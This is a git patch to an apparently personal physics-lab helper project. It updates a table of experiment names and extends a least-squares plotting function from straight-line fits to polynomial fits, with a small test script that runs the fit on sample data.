+
+
 errorPageDump = '/home/recolic/tmp/phySpiderDump.html'
 
 # Needn't edit below.
 experimentNumberDict = {
-    37:'分光计',
-    38:'多功能摆',
-    41:'直流电桥',
-    42:'伏安特性',
-    40:'密里根油滴',
-    43:'声速测量',
-    44:'示波器',
-    39:'霍尔效应'
+    57:'稳态测固体导热系数',
+    59:'电路的暂态过程',
+    58:'音叉实验',
+    56:'扭摆测转动惯量',
+    54:'光电效应',
+    52:'液体张力',
+    53:'偏振双折射',
+    55:'组合光学'
     }
 
 
diff --git a/quickmap.py b/quickmap.py
index e0eb9bf..13f8d60 100644
--- a/quickmap.py
+++ b/quickmap.py
@@ -8,44 +8,52 @@ from scipy.optimize import leastsq
 import matplotlib.pyplot as plt
 from matplotlib import rcParams
 
-def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):
+def dotMultiply(vctA, vctB):
+    if len(vctA) != len(vctB):
+        print("Error: While vcta is ", vctA, " and vctb is ", vctB)
+        raise ValueError("dotmulti needs lena == lenb.")
+    ans = 0
+    for a, b in zip(vctA, vctB):
+        ans += a * b
+    return ans
+
+def GetMap(parrX, parrY, windowSizeX=12, windowSizeY=8, extendXRate=1, line=False, passO=False, maxXPower=1):
     print('Generic-GetMap by Recolic.')
     arrX, arrY = parrX, parrY
-    maxX, maxY = max(arrX)*1.2, max(arrY)*1.25
-
+    maxX = max(arrX) * extendXRate
     # Do calculate
-    # y = k x + b (I = k V + b)
+    # y = [k0 k1 k2 ...] dot [x^0 x^1 x^2 ...]
     print('Your input: ', arrX, '|', arrY)
     print('Data collection done. Generating result...')
-    V, I = numpy.array(arrX), numpy.array(arrY)
-    def lineFunc(kb, v):
-        k,b=kb
+    X, Y = numpy.array(arrX), numpy.array(arrY)
+
+    def lineFunc(k, x):
+        vctX = [x ** power for power in range(maxXPower + 1)]
         if passO:
-            return k*v
-        else:
-            return k*v+b
+            vctX[0] = 0
+        return dotMultiply(k, vctX)
 
-    lossFunc = lambda kb, v, i : lineFunc(kb, v) - i
+    def lossFunc(k, x, y): return lineFunc(k, x) - y
 
     # Fire!
     if line:
-        kb0 = [10,0]
-        kbFinal = leastsq(lossFunc, kb0, args=(V, I))
-        k,b=kbFinal[0]
-        print('Fit line done. Y=', k, 'X +', b)
+        kInit = [1 for _ in range(maxXPower + 1)]
+        kInit[0] = 0 # guarantee passO.
+        kFinal, _ = leastsq(lossFunc, kInit, args=(X, Y))
+        print('Fit line done. k=', kFinal)
     else:
         print('Drawing map without fitting a line...')
 
     # Draw function map.
-    rcParams['grid.linestyle']='-'
+    rcParams['grid.linestyle'] = '-'
     rcParams['grid.color'] = 'blue'
     rcParams['grid.linewidth'] = 0.2
-    plt.figure(figsize=(windowX, windowY))
-    plt.scatter(V,I,color="red",label="Sample Point",linewidth=3)
+    plt.figure(figsize=(windowSizeX, windowSizeY))
+    plt.scatter(X, Y, color="red", label="Sample Point", linewidth=3)
     if line:
-        px=numpy.linspace(0,maxX,1000)
-        py=k*px+b
-        plt.plot(px,py,color="orange",label="Fitting Line",linewidth=2)
+        px = numpy.linspace(0, maxX, 1000)
+        py = dotMultiply(kFinal, [px ** power for power in range(maxXPower + 1)])
+        plt.plot(px, py, color="orange", label="Fitting Line", linewidth=2)
     plt.legend()
     plt.grid()
     plt.show()
@@ -54,4 +62,4 @@ def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False)
         if sstr == '':
             return 0.0
         else:
-            return float(sstr)
\ No newline at end of file
+            return float(sstr)
diff --git a/test.py b/test.py
new file mode 100644
index 0000000..86b6559
--- /dev/null
+++ b/test.py
@@ -0,0 +1,8 @@
+import quickmap
+
+yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]
+xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]
+
+for i in range(15):
+    quickmap.GetMap(xrc, yrc, line=True, maxXPower=i, extendXRate=1)
+
-- 
GitLab